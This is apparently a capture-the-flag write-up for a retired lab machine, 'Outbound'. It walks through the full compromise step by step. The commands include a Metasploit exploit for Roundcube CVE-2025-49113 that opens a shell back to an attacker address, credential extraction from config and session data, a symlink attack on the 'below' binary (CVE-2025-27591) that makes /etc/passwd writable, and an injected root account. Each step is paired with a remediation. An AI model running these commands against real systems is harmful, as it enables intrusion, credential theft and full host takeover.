Outbound
Summary
I scanned the target and found an nginx web server redirecting to a Roundcube webmail application at mail.outbound.htb. Publicly accessible installation files confirmed the exact version — Roundcube 1.6.10 — which is critically vulnerable to CVE-2025-49113, a post-authentication PHP object-deserialization remote code execution flaw. Using credentials for the webmail account 'tyler', I triggered the exploit via a public Metasploit module and obtained a command shell as the nginx web-server process (www-data).
The application's database configuration file was readable from that shell, yielding MySQL credentials; querying the Roundcube session table surfaced a plaintext SSH password for local account 'jacob' that had been left in stored session data from an internal webmail message. SSH as jacob provided an interactive shell and the first flag. Inspecting sudo privileges revealed that jacob could run Meta's 'below' system-monitoring binary as root without a password.
That binary is affected by CVE-2025-27591: it follows symbolic links when writing its root-owned log file, and the log directory was writable by jacob. Replacing the log path with a symlink to /etc/passwd and invoking below as root caused the binary to open /etc/passwd through the symlink, making it world-writable. I appended a new UID-0 account, logged in via SSH, and read the root flag — achieving full compromise of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
Identify open ports and service banners.
$ nmap -sV -sC -p 22,80 $TARGETFollow the HTTP redirect to reveal the virtual hostname.
$ curl -siL http://$TARGET/ | grep -E 'Location|Server'Add the virtual hostname to local DNS resolution.
$ echo "$TARGET mail.outbound.htb" | sudo tee -a /etc/hostsExact commands 2
Read the publicly accessible changelog to identify the exact installed version.
$ curl -s http://mail.outbound.htb/CHANGELOG.md | head -20Confirm the version string embedded in the front-end JavaScript bundle.
$ curl -s http://mail.outbound.htb/program/js/app.js | grep -i version | head -5FixBlock public access to Roundcube installation files that disclose the application versionMedium
Exact commands 2
Replace $ATTACKER_IP with your listener address. The module handles CSRF token scraping, authentication, and payload delivery automatically.
$ msfconsole -q -x "use exploit/multi/http/roundcube_auth_rce_cve_2025_49113; set RHOSTS $TARGET; set RPORT 80; set TARGETURI /; set VHOST mail.outbound.htb; set USERNAME tyler; set PASSWORD $PASSWORD2; set LHOST $ATTACKER_IP; run"Run inside the resulting shell or meterpreter session to confirm execution context.
$ id; whoami; hostname; pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)FixPatch Roundcube to address CVE-2025-49113Critical
Exact commands 2
Retrieve the database connection string; adjust path if Roundcube is installed elsewhere (e.g. /var/www/roundcubemail/config/).
$ cat /var/www/html/roundcube/config/config.inc.php | grep db_dsnwDecode session blobs and search for 'password' substrings to surface stored plaintext credentials.
$ mysql -u roundcube -p$PASSWORD3 -h localhost roundcube -N -B -e "SELECT substring(convert(from_base64(vars) using utf8mb4), locate('password', convert(from_base64(vars) using utf8mb4)), 90) FROM session;"FixEliminate plaintext credential exposure in Roundcube session storage and adopt secure credential-distribution practicesHigh
Exact commands 1
Authenticate as jacob and read the user flag; replace the flag value with <user.txt> when reporting.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 jacob@$TARGET 'id; hostname; cat /home/jacob/user.txt'
uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users)Exact commands 3
List sudo rules for the current user to identify passwordless execution rights.
$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*Locate the hardcoded log path that below writes to when run as root.
$ strings /usr/bin/below | grep -E 'log|error_root'Verify that jacob has write permission to the below log directory.
$ ls -ld /var/log/below/FixRemove or tightly restrict jacob's passwordless sudo rule for /usr/bin/belowHigh
Exact commands 4
Ensure the log directory exists and clear any existing log file at the target path.
$ mkdir -p /var/log/below && rm -f /var/log/below/error_root.logPlant the symlink so below follows it to /etc/passwd when run as root.
$ ln -s /etc/passwd /var/log/below/error_root.logTrigger below as root with a valid subcommand that causes it to open its log path. The exact triggering subcommand varies by version.
$ sudo /usr/bin/below dumpConfirm /etc/passwd mode changed to 666 (world-writable).
$ stat -c '%a %n' /etc/passwdFixPatch /usr/bin/below (CVE-2025-27591) and harden /var/log/below directory permissionsCritical
Exact commands 2
Run on the target as jacob. Appends a root-equivalent account 'r00t' with password to the now world-writable /etc/passwd.
$ HASH=$(openssl passwd -1 -salt pwned $PASSWORD5) && echo "r00t:${HASH}:0:0:root:/root:/bin/bash" >> /etc/passwdLog in as the injected root account; replace the root.txt value with <root.txt> when reporting.
$ sshpass -p "$PASSWORD5" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 r00t@$TARGET 'id; hostname; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.24.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.